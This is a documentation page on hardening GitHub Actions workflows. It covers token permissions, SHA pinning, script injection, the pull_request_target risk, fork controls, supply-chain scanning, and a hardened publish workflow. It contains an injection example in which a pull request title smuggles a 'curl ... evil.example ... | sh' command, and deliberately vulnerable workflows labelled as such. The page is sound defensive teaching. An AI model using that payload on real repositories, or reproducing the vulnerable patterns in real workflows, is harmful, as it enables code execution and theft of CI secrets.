Security Hardening

This content was generated with the assistance of AI and should be verified against the official documentation before being relied on in production.

A workflow file is code that runs with credentials, on a machine you do not fully control, triggered by events that anyone may cause. Most real-world Actions compromises come from a handful of patterns: a token with more permission than the job needs, a third-party action referenced by a movable tag, an attacker-controlled string interpolated into a shell script, and a privileged workflow that runs code from a fork. This page walks through each, then adds supply-chain controls (attestations, dependency review, CodeQL, secret scanning) and finishes with a hardened version of this site’s publish workflow. Versions are those verified on 2026-11-10; the official documentation wins on any discrepancy. For storing secrets and OIDC see Secrets, Variables and OIDC.

Least-privilege permissions

Every job gets a GITHUB_TOKEN. Its scopes are controlled by permissions, at workflow or job level. Once you declare permissions, every scope you do not list is set to none.

permissions:
  contents: read            # default for every job in this workflow

jobs:
  build:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v7
      - run: npm ci && npm test

  comment:
    needs: build
    runs-on: ubuntu-latest
    permissions:
      contents: read
      pull-requests: write  # escalated for this job only
    steps:
      - run: gh pr comment "$PR" --body "Build passed"
        env:
          GH_TOKEN: ${{ github.token }}
          PR: ${{ github.event.pull_request.number }}

Rules of thumb:

  • Start every workflow with permissions: contents: read (or permissions: {} when no repository access is needed).

  • Escalate per job, never per workflow, and only for the scope the job uses (pages: write, id-token: write, packages: write, attestations: write, security-events: write).

  • Set the repository (and organization) default to read-only under Settings > Actions > General > Workflow permissions: "Read repository contents and packages permissions". Newer repositories already default to this; older ones may still grant read and write.

  • The token is short-lived (it expires when the job ends) and is not passed to workflows triggered from forks with write access, which is covered below.

Pin third-party actions

uses: owner/action@v3 follows a tag, and tags can be moved or deleted by whoever controls the action’s repository. A full commit SHA is immutable. Pin every action outside your control, and keep the human-readable version in a comment:

- uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1  # v7.0.1

Actions published by GitHub (actions/*) are often left on a major tag as an accepted risk; pinning everything is the stricter policy and is what OpenSSF Scorecard checks. Verify that the SHA belongs to the intended repository and tag (gh api repos/actions/checkout/git/ref/tags/v7.0.1), and beware of annotated tags, where the ref points at a tag object and you need the commit it dereferences to. A SHA of a fork’s commit can also be referenced through the parent repository, so check the owner in the URL, not only the hash.

Keeping pins current with Dependabot

# .github/dependabot.yml
version: 2
updates:
  - package-ecosystem: github-actions
    directory: /
    schedule:
      interval: weekly
    groups:
      actions:
        patterns: ['*']
    commit-message:
      prefix: ci

Dependabot recognizes uses: owner/action@<sha> # vX.Y.Z and raises a pull request that updates both the SHA and the comment. Renovate does the same with its github-actions manager and the helpers:pinGitHubActionDigests preset. Review these pull requests like any dependency update: read the release notes and the diff.

Untrusted input and script injection

Expressions are substituted into the script text before the shell sees it. A pull request title, branch name, issue body or commit message is attacker-controlled; interpolating it into run: lets the author inject commands.

# VULNERABLE: a PR titled  a"; curl https://evil.example/x.sh | sh; echo "  runs the attacker's command
- run: echo "Title: ${{ github.event.pull_request.title }}"

# SAFE: pass the value through an environment variable; the shell treats it as data
- run: echo "Title: $PR_TITLE"
  env:
    PR_TITLE: ${{ github.event.pull_request.title }}

Fields that carry free text include github.event.issue.title and .body, github.event.pull_request.title, .body and .head.ref, github.event.comment.body, github.event.commits.*.message, github.head_ref and author names and e-mails. The same discipline applies in actions/github-script: do not write ${{ ... }} into the script: text; read values from context or from process.env.

- uses: actions/github-script@v9
  env:
    TITLE: ${{ github.event.pull_request.title }}
  with:
    script: |
      const title = process.env.TITLE;                 // data, not code
      core.info(`Title length: ${title.length}`);
      if (!/^(feat|fix|docs|chore)(\(.+\))?: /.test(title)) {
        core.setFailed('PR title must follow Conventional Commits');
      }

Also treat the file $GITHUB_ENV and $GITHUB_OUTPUT as injection sinks: never write untrusted multi-line text to them without a random delimiter. actionlint flags many injection patterns (see Troubleshooting and Debugging).

pull_request, pull_request_target and workflow_run

Trigger Runs in the context of Secrets and token

pull_request

The merge commit of the PR. For fork PRs, from the fork’s code.

Read-only token; no secrets for forks. Safe default.

pull_request_target

The base branch’s workflow file, in the base repository.

Full token and secrets, even for fork PRs. Dangerous with fork code.

workflow_run

Runs after another workflow completes, from the default branch.

Full token and secrets; receives only data from the triggering run (artifacts).

The pwn request

The classic vulnerability is a pull_request_target workflow that checks out and executes the PR’s code:

# VULNERABLE: secrets are available AND the fork's code runs
on: pull_request_target
jobs:
  test:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v7
        with:
          ref: ${{ github.event.pull_request.head.sha }}   # attacker-controlled code
      - run: npm ci && npm test                            # install scripts and tests run with secrets

Anything that runs the PR’s code (npm install scripts, test files, a modified Makefile) can read the secrets and use the write token. Never combine a privileged trigger with a checkout of the PR head.

Safe split pattern

Run untrusted code in an unprivileged pull_request workflow, hand the results over as an artifact, and let a separate privileged workflow_run workflow read data only:

# .github/workflows/pr-build.yml  (unprivileged: fork code, no secrets)
name: pr-build
on: pull_request
permissions:
  contents: read
jobs:
  build:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v7
      - run: npm ci && npm test -- --reporter json > result.json
      - run: echo "${{ github.event.pull_request.number }}" > pr-number.txt
      - uses: actions/upload-artifact@v7
        with:
          name: pr-result
          path: |
            result.json
            pr-number.txt
# .github/workflows/pr-comment.yml  (privileged: never checks out or runs PR code)
name: pr-comment
on:
  workflow_run:
    workflows: [pr-build]
    types: [completed]
permissions:
  contents: read
  pull-requests: write
  actions: read
jobs:
  comment:
    if: github.event.workflow_run.conclusion == 'success'
    runs-on: ubuntu-latest
    steps:
      - uses: actions/download-artifact@v8
        with:
          name: pr-result
          run-id: ${{ github.event.workflow_run.id }}
          github-token: ${{ github.token }}
      - run: |
          # treat the artifact as untrusted data: validate before use
          PR=$(tr -dc '0-9' < pr-number.txt)
          gh pr comment "$PR" --repo "$GITHUB_REPOSITORY" --body "Tests passed"
        env:
          GH_TOKEN: ${{ github.token }}

Use pull_request_target only for tasks that never touch PR code (labeling, greeting), and keep permissions minimal.

Fork pull requests

flowchart LR subgraph untrusted [Untrusted zone] F[Fork author] --> PR[pull_request from fork] PR --> W1[Workflow runs fork code, read-only token, no secrets] end W1 -- artifact: data only --> A[(Artifact)] subgraph trusted [Trusted zone] A --> W2[workflow_run on default branch] W2 --> S[Secrets and write token] PT[pull_request_target] --> S end PT -. never check out PR head .-> F

Controls around forks:

  • Approval for outside collaborators: under Settings > Actions > General > Fork pull request workflows, require approval for first-time contributors, or for all outside collaborators. A maintainer reviews the diff, including changes to .github/workflows, before clicking Approve and run.

  • Secrets are not passed to pull_request runs from forks, and GITHUB_TOKEN is read-only there. The "send write tokens to fork PR workflows" option exists for private repositories and should stay off.

  • A PR can modify the workflow file itself; with pull_request the modified file runs, but without secrets.

Runners, caches and artifacts

  • Self-hosted runners on public repositories are dangerous: anyone can open a PR whose workflow runs on your machine, and a persistent runner keeps files, credentials and network access between jobs. Use ephemeral, just-in-time runners in an isolated network, restricted by runner group to private repositories, or keep public repos on GitHub-hosted runners. See Runners.

  • Cache poisoning: caches are shared by key across workflows on a branch and its base. A workflow that runs untrusted code can write a poisoned cache that a privileged workflow later restores. Do not restore caches in privileged workflows from keys written by unprivileged ones, avoid broad restore-keys, and never cache directories you later execute. See Caching and Artifacts.

  • Artifacts from untrusted runs are untrusted input: validate before use, as in the split pattern above.

Supply-chain controls

Artifact attestations

An attestation is a signed statement (Sigstore, in-toto format) that a given artifact was built by a given workflow at a given commit. actions/attest-build-provenance@v4 creates it and needs id-token: write and attestations: write (plus contents: read; packages: write when pushing an image):

permissions:
  contents: read
  id-token: write
  attestations: write
steps:
  - uses: actions/checkout@v7
  - run: make dist
  - uses: actions/attest-build-provenance@v4
    with:
      subject-path: 'dist/*'

Consumers verify before using the artifact:

gh attestation verify dist/app-1.4.0.tar.gz --repo OWNER/REPO
gh attestation verify oci://ghcr.io/owner/app:1.4.0 --owner OWNER

Attestations support build levels in the SLSA framework; reusable workflows can be required as the builder with --signer-workflow. Container images are attested by passing subject-name and subject-digest; see Docker CI/CD with GitHub Actions.

Dependency review, CodeQL and secret scanning

# .github/workflows/dependency-review.yml
name: dependency-review
on: pull_request
permissions:
  contents: read
jobs:
  review:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v7
      - uses: actions/dependency-review-action@v5
        with:
          fail-on-severity: high
# .github/workflows/codeql.yml
name: codeql
on:
  push: { branches: [main] }
  pull_request: { branches: [main] }
  schedule:
    - cron: '17 4 * * 1'
jobs:
  analyze:
    runs-on: ubuntu-latest
    permissions:
      contents: read
      security-events: write
      actions: read
    strategy:
      matrix:
        language: [javascript-typescript, actions]
    steps:
      - uses: actions/checkout@v7
      - uses: github/codeql-action/init@v4
        with: { languages: "${{ matrix.language }}" }
      - uses: github/codeql-action/analyze@v4

CodeQL can also analyze workflow files themselves (language: actions) and flags injection and permission problems. Secret scanning with push protection is enabled in Settings > Advanced Security (free on public repositories) and blocks pushes that contain recognized tokens. Dependency review requires the dependency graph; on private repositories it needs GitHub Advanced Security. The OpenSSF Scorecard action scores a repository on pinned dependencies, token permissions, branch protection and more, and publishes the result as SARIF.

Organization policy, runtime hardening and releases

  • Allowed actions: organization and repository Settings > Actions > General can restrict workflows to actions from GitHub, verified creators, or an explicit allow-list (patterns such as owner/action@*), and can require full SHA pinning for every uses.

  • step-security/harden-runner runs as the first step on GitHub-hosted runners, restricts outbound network traffic to an allow-list (egress-policy: block) and reports unexpected calls.

  • Immutable releases: when enabled for a repository, a published release’s tag and assets cannot be changed or deleted, protecting consumers who pin by tag. See Release Pipelines.

  • Protect the .github/ directory with a CODEOWNERS entry so workflow changes need a security reviewer, and protect deployment secrets with environments.

A hardened docs-site publish workflow

The real publish.yml runs nightly on a schedule, with default token permissions, tags instead of SHAs and a third-party action that writes to the gh-pages branch. A hardened variant keeps the same steps. Verified SHAs are shown where the tag was resolved on 2026-11-10; replace the placeholder with the commit SHA of the release you adopt.

name: publish
on:
  schedule:
    - cron: '0 3 * * *'
  workflow_dispatch:

permissions:
  contents: read

concurrency:
  group: pages
  cancel-in-progress: false

jobs:
  build:
    runs-on: ubuntu-latest
    timeout-minutes: 20
    steps:
      - uses: step-security/harden-runner@351661ca32ac09a36dc5ee2d536e3128f2a3c8ed  # v2.22.0
        with:
          egress-policy: audit      # switch to block once the allow-list is known
      - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1  # v7.0.1
        with:
          persist-credentials: false
      - uses: actions/setup-node@949feb2413d6458794dcd2491c4babbbce0c15c1  # v7.1.0
        with:
          node-version: 24
          cache: npm
      - uses: actions/configure-pages@0123456789abcdef0123456789abcdef01234567  # v6
      - run: |
          npm ci
          npm i --no-save mermaid@11 jsdom
          node scripts/validate-mermaid.mjs
          npx antora antora-playbook.yml
      - uses: actions/upload-pages-artifact@fc324d3547104276b827a68afc52ff2a11cc49c9  # v5.0.0
        with:
          path: build/site

  deploy:
    needs: build
    runs-on: ubuntu-latest
    permissions:
      pages: write
      id-token: write
    environment:
      name: github-pages
      url: ${{ steps.deployment.outputs.page_url }}
    steps:
      - id: deployment
        uses: actions/deploy-pages@368f82528645a54fb793d4d04e342629a3f51346  # v5.0.1

Differences from the real workflow: read-only default token with the Pages write scope on the deploy job only; SHA pinning with version comments; no persisted checkout credentials; a timeout; serialized deployments; and the github-pages environment instead of a branch push (see Environments and Deployment Protection). The configure-pages line uses a placeholder because that action publishes a moving major tag; resolve it with gh api repos/actions/configure-pages/git/ref/tags/<exact-version> before use.

Common mistakes

  • Interpolating github.event.* text straight into run: or github-script code.

  • Checking out github.event.pull_request.head.sha in a pull_request_target or workflow_run job that has secrets.

  • Leaving the repository default at read and write permissions and never declaring permissions.

  • Pinning to a SHA once and never updating it, so known-vulnerable versions stay forever; automate with Dependabot.

  • Pinning a SHA copied from a fork or an unverified blog post.

  • Self-hosted, non-ephemeral runners attached to public repositories.

  • Printing secrets with set -x or env; masking only covers exact registered values, not transformed ones.